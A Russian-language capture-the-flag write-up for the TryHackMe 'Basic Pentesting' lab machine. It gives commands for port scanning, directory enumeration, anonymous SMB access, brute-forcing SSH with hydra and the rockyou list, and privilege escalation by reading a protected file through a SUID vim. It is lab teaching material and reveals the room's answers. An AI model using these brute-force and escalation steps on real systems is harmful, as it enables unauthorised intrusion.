TryHackMe: Basic Pentesting
https://tryhackme.com/room/basicpentestingjt
This is a machine that allows you to practice web app hacking and privilege escalation
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN
Всех приветствую на райтапе лёгкой машины на THM "Basic Pentesting"!
По классике подключаемся по OpenVPN, вписываем хост
echo "10.XX.XX.XX basic.thm" | sudo tee -a /etc/hosts
sudo nmap -A -vv 10.XX.XX.XX
Я сразу пошёл проверять OpenSSH 7.2p2 через searchsploit
searchsploit OpenSSH 7.2p2
Нашёлся Username Enumeration эксплоит, и можно было бы узнать юзернеймы, но я решил работать с Samb'ой. Запустим gobuster по директориям
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u basic.thm
Найдём директорию development, что станет нашим ответом. Внутри будет два .txt-файла, но там нет ничего ценного.
Вспоминаем, что на сервере есть SMB, подключимся посредством
smbclient -L //basic.thm -N
-L - показать все доступные через SMB директории
Найдём директорию Anonymous, подключимся к ней
smbclient //basic.thm/Anonymous -N
Откроем список файлов и скачаем его с помощью get
ls get staff.txt
После этого файл скачается в директорию, из которой вы подключились к SMB
Внутри есть 2 имени: Jan и Kay, имя Jan подойдёт нам для ответа на пятый вопрос.
Давайте сбуртим SSH используя имя Jan (самбу сбрутить не получится и Kay тоже). Воспользуемся для этого hydra и словарём rockyou.
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://basic.thm
Находим пароль armando и подключаемся с этими данными по SSH, протокол, по которому мы подключаемся - седьмой ответ
ssh jan@basic.thm
Внутри пусто, спустимся в директорию /home/ и узнаем что там
jan@basic2:~$ ls jan@basic2:~$ pwd /home/jan jan@basic2:~$ cd .. jan@basic2:~/home$ ls jan kay
Попробуем узнать, что мы можем запускать используя sudo -l
jan@basic2:~$ sudo -l [sudo] password for jan: Sorry, user jan may not run sudo on basic2.
Столкнёмся с ошибкой. Попробуем войти в kay, опять столкнёмся с ошибкой
jan@basic2:/home$ sudo kay [sudo] password for jan: jan is not in the sudoers file. This incident will be reported
В таком случае нам надо воспользоваться SUID. Это специальный бит, отвечающий за то, чтобы программу запускать от имени владельца.
Чтобы найти все такие файлы воспользуемся командой
find / -perm -4000 -type f 2>/dev/null
find - команда чтобы найти файлы
/ - чтобы начать поиск по всей системе
-perm -4000 - ищет файлы с правами доступа 4000, то есть с SUID-битом
-type f - ищет только файлы (исключая каталоги, сокеты...)
2>/dev/null - отключает вывод ошибок доступа, переправляя их в /dev/null
Из данного списка сразу в глаза бросается, vim, будем иметь это ввиду
/usr/bin/vim.basic
Откроем директорию /home/kay и попробуем прочитать с помощью cat pass.bak, но нам скажет, что у нас недостаточно прав. Узнаем полную информацию о файле и правах с помощью
ls -la
Увидим, что у файла pass.bak есть атрибут r, то есть открывается от имени рута. И вспоминаем, что vim, как раз умеет так делать, пишем
vim pass.bak
И вот наш последний ответ! Чтобы выйти из vim'а, просто напишите
:q
И нажмите Enter, поздравляю с ещё одной решённой задачей!